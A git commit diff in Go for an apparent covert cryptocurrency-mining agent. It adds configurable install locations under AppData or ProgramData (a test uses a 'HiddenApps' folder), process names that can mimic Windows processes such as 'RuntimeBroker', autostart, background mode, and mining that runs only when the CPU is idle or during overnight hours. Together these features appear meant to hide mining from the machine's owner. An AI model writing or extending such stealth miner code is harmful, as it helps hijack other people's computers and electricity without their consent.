Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
drjones
2026-05-26 23:39:51 -07:00
parent f7d6dcf542
commit 1313c553e7
20 changed files with 662 additions and 24 deletions

View File

@@ -201,6 +201,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
avg15m /= float64(len(samples))
cpuPct, memPct := c.reporter.Usage()
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
cpuPct = sysCPU
}
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted

View File

@@ -30,5 +30,7 @@ func GetBuiltinConfig() BuiltinConfig {
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: DefaultInstallRelativePath,
}
}

View File

@@ -35,6 +35,9 @@ type BuiltinConfig struct {
IdleDurationMinutes int
ScheduleStart string
ScheduleEnd string
InstallBase string
InstallCustomBase string
InstallRelativePath string
}
type RuntimeConfig struct {
@@ -90,6 +93,12 @@ func Load() RuntimeConfig {
if b.ScheduleEnd == "" {
b.ScheduleEnd = "06:00"
}
if b.InstallBase == "" {
b.InstallBase = "localappdata"
}
if b.InstallRelativePath == "" {
b.InstallRelativePath = DefaultInstallRelativePath
}
return RuntimeConfig{BuiltinConfig: b}
}
@@ -135,6 +144,14 @@ func (c RuntimeConfig) BackgroundMode() bool {
return strings.ToLower(c.DisplayMode) == "background"
}
func (c RuntimeConfig) EffectiveProcessName() string {
name := strings.TrimSpace(c.ProcessName)
if name == "" {
return sanitizeProcessName(c.WorkerName)
}
return sanitizeProcessName(name)
}
func sanitizeProcessName(name string) string {
name = strings.TrimSpace(name)
if name == "" {

101
agent/config/install.go Normal file
View File

@@ -0,0 +1,101 @@
package config
import (
"fmt"
"os"
"path/filepath"
"strings"
)
const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
func (c RuntimeConfig) InstallDirectory() (string, error) {
base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
if err != nil {
return "", err
}
rel := strings.TrimSpace(c.InstallRelativePath)
if rel == "" {
rel = DefaultInstallRelativePath
}
rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
rel = filepath.FromSlash(rel)
rel = strings.Trim(rel, `\/`)
if rel == "" {
return "", fmt.Errorf("install relative path resolved to empty")
}
full := filepath.Join(base, rel)
return filepath.Clean(full), nil
}
func resolveInstallBase(baseType, customBase string) (string, error) {
switch strings.ToLower(strings.TrimSpace(baseType)) {
case "", "localappdata":
return requireEnv("LOCALAPPDATA")
case "appdata":
return requireEnv("APPDATA")
case "programdata":
return requireEnv("ProgramData")
case "userprofile":
return requireEnv("USERPROFILE")
case "temp":
if v := os.Getenv("TEMP"); v != "" {
return v, nil
}
return requireEnv("TMP")
case "custom":
custom := strings.TrimSpace(customBase)
if custom == "" {
return "", fmt.Errorf("custom install base path is required when install_base is custom")
}
return expandWindowsEnv(custom), nil
default:
return "", fmt.Errorf("unsupported install base: %s", baseType)
}
}
func expandInstallTokens(path, workerName, buildID, processName string) string {
shortBuild := buildID
if len(shortBuild) > 8 {
shortBuild = shortBuild[:8]
}
replacer := strings.NewReplacer(
"{worker}", sanitizePathToken(workerName),
"{build}", sanitizePathToken(buildID),
"{build_short}", sanitizePathToken(shortBuild),
"{process}", sanitizePathToken(processName),
)
return replacer.Replace(path)
}
func sanitizePathToken(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
clean := replacer.Replace(strings.TrimSpace(name))
if clean == "" {
return "miner"
}
return clean
}
func requireEnv(key string) (string, error) {
value := os.Getenv(key)
if value == "" {
return "", fmt.Errorf("environment variable %s is not set", key)
}
return value, nil
}
func expandWindowsEnv(path string) string {
out := path
for _, key := range []string{
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
} {
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
}
return out
}

View File

@@ -0,0 +1,97 @@
package config
import (
"os"
"testing"
"time"
)
func TestInstallDirectoryLocalAppData(t *testing.T) {
t.Setenv("LOCALAPPDATA", `C:\Users\test\AppData\Local`)
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
WorkerName: "office pc",
BuildID: "1234567890abcdef",
ProcessName: "RuntimeBroker",
InstallBase: "localappdata",
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
}}
got, err := cfg.InstallDirectory()
if err != nil {
t.Fatal(err)
}
want := `C:\Users\test\AppData\Local\CryptoMiner\office-pc-12345678`
if got != want {
t.Fatalf("expected %q, got %q", want, got)
}
}
func TestInstallDirectoryCustomBase(t *testing.T) {
t.Setenv("ProgramData", `C:\ProgramData`)
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
WorkerName: "pc1",
BuildID: "build",
InstallBase: "custom",
InstallCustomBase: `%ProgramData%\HiddenApps`,
InstallRelativePath: "{process}",
}}
got, err := cfg.InstallDirectory()
if err != nil {
t.Fatal(err)
}
want := `C:\ProgramData\HiddenApps\pc1`
if got != want {
t.Fatalf("expected %q, got %q", want, got)
}
}
func TestInstallDirectoryRequiresCustomBase(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
InstallBase: "custom",
}}
if _, err := cfg.InstallDirectory(); err == nil {
t.Fatal("expected error for missing custom base")
}
}
func TestInScheduleWindowSameDay(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ScheduleStart: "09:00",
ScheduleEnd: "17:00",
}}
now := time.Date(2026, 5, 26, 10, 0, 0, 0, time.UTC)
if !cfg.InScheduleWindow(now) {
t.Fatal("expected inside schedule window")
}
now = time.Date(2026, 5, 26, 18, 0, 0, 0, time.UTC)
if cfg.InScheduleWindow(now) {
t.Fatal("expected outside schedule window")
}
}
func TestInScheduleWindowCrossMidnight(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
}}
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 23, 0, 0, 0, time.UTC)) {
t.Fatal("expected inside overnight window")
}
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 3, 0, 0, 0, time.UTC)) {
t.Fatal("expected inside early morning window")
}
if cfg.InScheduleWindow(time.Date(2026, 5, 26, 12, 0, 0, 0, time.UTC)) {
t.Fatal("expected outside midday window")
}
}
func TestExpandWindowsEnv(t *testing.T) {
os.Setenv("LOCALAPPDATA", `C:\Local`)
got := expandWindowsEnv(`%LOCALAPPDATA%\Apps`)
if got != `C:\Local\Apps` {
t.Fatalf("unexpected expansion: %s", got)
}
}

46
agent/config/schedule.go Normal file
View File

@@ -0,0 +1,46 @@
package config
import (
"strings"
"time"
)
func (c RuntimeConfig) MiningModeNormalized() string {
mode := strings.ToLower(strings.TrimSpace(c.MiningMode))
if mode == "" {
return "always"
}
return mode
}
func (c RuntimeConfig) InScheduleWindow(now time.Time) bool {
startMin, okStart := parseClockMinutes(c.ScheduleStart)
endMin, okEnd := parseClockMinutes(c.ScheduleEnd)
if !okStart || !okEnd {
return true
}
nowMin := now.Hour()*60 + now.Minute()
if startMin == endMin {
return true
}
if startMin < endMin {
return nowMin >= startMin && nowMin < endMin
}
return nowMin >= startMin || nowMin < endMin
}
func parseClockMinutes(value string) (int, bool) {
value = strings.TrimSpace(value)
if value == "" {
return 0, false
}
parsed, err := time.Parse("15:04", value)
if err != nil {
parsed, err = time.Parse("15:04:05", value)
if err != nil {
return 0, false
}
}
return parsed.Hour()*60 + parsed.Minute(), true
}

View File

@@ -29,11 +29,11 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
}
}
installDir, err := InstallDir(cfg.WorkerName, cfg.BuildID)
installDir, err := cfg.InstallDirectory()
if err != nil {
return false, err
}
installedExe := filepath.Join(installDir, cfg.ProcessName+".exe")
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
if samePath(currentExe, installedExe) {
return false, nil
@@ -49,8 +49,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
logPath := filepath.Join(installDir, "miner.log")
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installedExe,
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
)), 0644)
if cfg.AutoStart {
@@ -71,16 +71,14 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
}
func InstallDir(workerName, buildID string) (string, error) {
base, err := os.UserConfigDir()
if err != nil {
return "", err
}
safeWorker := sanitizeName(workerName)
shortBuild := buildID
if len(shortBuild) > 8 {
shortBuild = shortBuild[:8]
}
return filepath.Join(base, "CryptoMiner", fmt.Sprintf("%s-%s", safeWorker, shortBuild)), nil
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: workerName,
BuildID: buildID,
InstallBase: "localappdata",
InstallRelativePath: config.DefaultInstallRelativePath,
},
}.InstallDirectory()
}
func configureAutoStart(workerName, exePath string) error {

View File

@@ -27,7 +27,11 @@ func main() {
log.Fatalf("[installer] failed: %v", err)
}
if installed {
log.Printf("[installer] installed worker=%s to permanent location and started miner", cfg.WorkerName)
if dir, err := cfg.InstallDirectory(); err == nil {
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
} else {
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
}
return
}
@@ -39,8 +43,8 @@ func main() {
log.Printf("[agent] could not set CPU priority: %v", err)
}
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil {
@@ -54,13 +58,21 @@ func setupLogging(cfg config.RuntimeConfig) {
return
}
installDir, err := deploy.InstallDir(cfg.WorkerName, cfg.BuildID)
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
redirectLog(filepath.Join(installDir, "miner.log"))
}
func mustInstallPath(cfg config.RuntimeConfig) string {
path, err := cfg.InstallDirectory()
if err != nil {
return "unknown"
}
return path
}
func redirectLog(path string) {
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
return

View File

@@ -21,6 +21,7 @@ type Pool struct {
reporter *stats.Reporter
engine *Engine
handler ShareHandler
schedule *ScheduleGuard
mu sync.RWMutex
currentJob *job.Job
@@ -42,6 +43,7 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
reporter: reporter,
engine: NewEngine(),
handler: handler,
schedule: NewScheduleGuard(cfg, reporter),
stopCh: make(chan struct{}),
}
}
@@ -91,11 +93,21 @@ func (p *Pool) resourceGuard() {
case <-p.stopCh:
return
case <-ticker.C:
p.paused.Store(!p.resourcesOK())
p.paused.Store(!p.miningAllowed())
}
}
}
func (p *Pool) miningAllowed() bool {
if !p.resourcesOK() {
return false
}
if p.schedule != nil && !p.schedule.Allowed() {
return false
}
return true
}
func (p *Pool) resourcesOK() bool {
freeMB := p.reporter.FreeMemoryMB()
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {

71
agent/miner/schedule.go Normal file
View File

@@ -0,0 +1,71 @@
package miner
import (
"sync"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/stats"
)
type ScheduleGuard struct {
cfg config.RuntimeConfig
reporter *stats.Reporter
mu sync.Mutex
idleSince time.Time
idleReady bool
}
func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *ScheduleGuard {
return &ScheduleGuard{
cfg: cfg,
reporter: reporter,
}
}
func (g *ScheduleGuard) Allowed() bool {
switch g.cfg.MiningModeNormalized() {
case "idle":
return g.idleAllowed()
case "scheduled":
return g.cfg.InScheduleWindow(time.Now())
default:
return true
}
}
func (g *ScheduleGuard) idleAllowed() bool {
cpu := g.reporter.SystemCPUPercent()
threshold := float64(g.cfg.IdleThresholdPct)
if threshold <= 0 {
threshold = 20
}
duration := time.Duration(g.cfg.IdleDurationMinutes) * time.Minute
if duration <= 0 {
duration = 5 * time.Minute
}
g.mu.Lock()
defer g.mu.Unlock()
if cpu == 0 {
// First sample has no delta yet; treat as not idle.
g.idleSince = time.Time{}
g.idleReady = false
return false
}
if cpu <= threshold {
if g.idleSince.IsZero() {
g.idleSince = time.Now()
}
if time.Since(g.idleSince) >= duration {
g.idleReady = true
}
} else {
g.idleSince = time.Time{}
g.idleReady = false
}
return g.idleReady
}

View File

@@ -0,0 +1,31 @@
package miner
import (
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/stats"
)
func parseTestTime(hour, minute int) time.Time {
return time.Date(2026, 5, 26, hour, minute, 0, 0, time.UTC)
}
func TestScheduleGuardAlways(t *testing.T) {
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MiningMode: "always"}}, stats.NewReporter())
if !guard.Allowed() {
t.Fatal("always mode should allow mining")
}
}
func TestScheduleGuardScheduledUsesConfigWindow(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "scheduled",
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
}}
if !cfg.InScheduleWindow(parseTestTime(23, 0)) {
t.Fatal("expected overnight schedule to allow mining at 23:00")
}
}

View File

@@ -0,0 +1,63 @@
package stats
import (
"unsafe"
)
var (
procGetSystemTimes = kernel32.NewProc("GetSystemTimes")
)
type filetime struct {
LowDateTime uint32
HighDateTime uint32
}
func filetimeToUint64(ft filetime) uint64 {
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
}
func (r *Reporter) SystemCPUPercent() float64 {
r.mu.Lock()
defer r.mu.Unlock()
var idle, kernel, user filetime
ret, _, _ := procGetSystemTimes.Call(
uintptr(unsafe.Pointer(&idle)),
uintptr(unsafe.Pointer(&kernel)),
uintptr(unsafe.Pointer(&user)),
)
if ret == 0 {
return 0
}
idleTicks := filetimeToUint64(idle)
kernelTicks := filetimeToUint64(kernel)
userTicks := filetimeToUint64(user)
if !r.hasSample {
r.lastIdle = idleTicks
r.lastKernel = kernelTicks
r.lastUser = userTicks
r.hasSample = true
return 0
}
idleDelta := float64(idleTicks - r.lastIdle)
totalDelta := float64((kernelTicks - r.lastKernel) + (userTicks - r.lastUser))
r.lastIdle = idleTicks
r.lastKernel = kernelTicks
r.lastUser = userTicks
if totalDelta <= 0 {
return 0
}
busyPct := (1.0 - idleDelta/totalDelta) * 100
if busyPct < 0 {
return 0
}
if busyPct > 100 {
return 100
}
return busyPct
}

View File

@@ -3,6 +3,7 @@ package stats
import (
"os"
"runtime"
"sync"
"syscall"
"unsafe"
)
@@ -24,7 +25,14 @@ var (
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
)
type Reporter struct{}
type Reporter struct {
mu sync.Mutex
lastIdle uint64
lastKernel uint64
lastUser uint64
hasSample bool
}
func NewReporter() *Reporter {
return &Reporter{}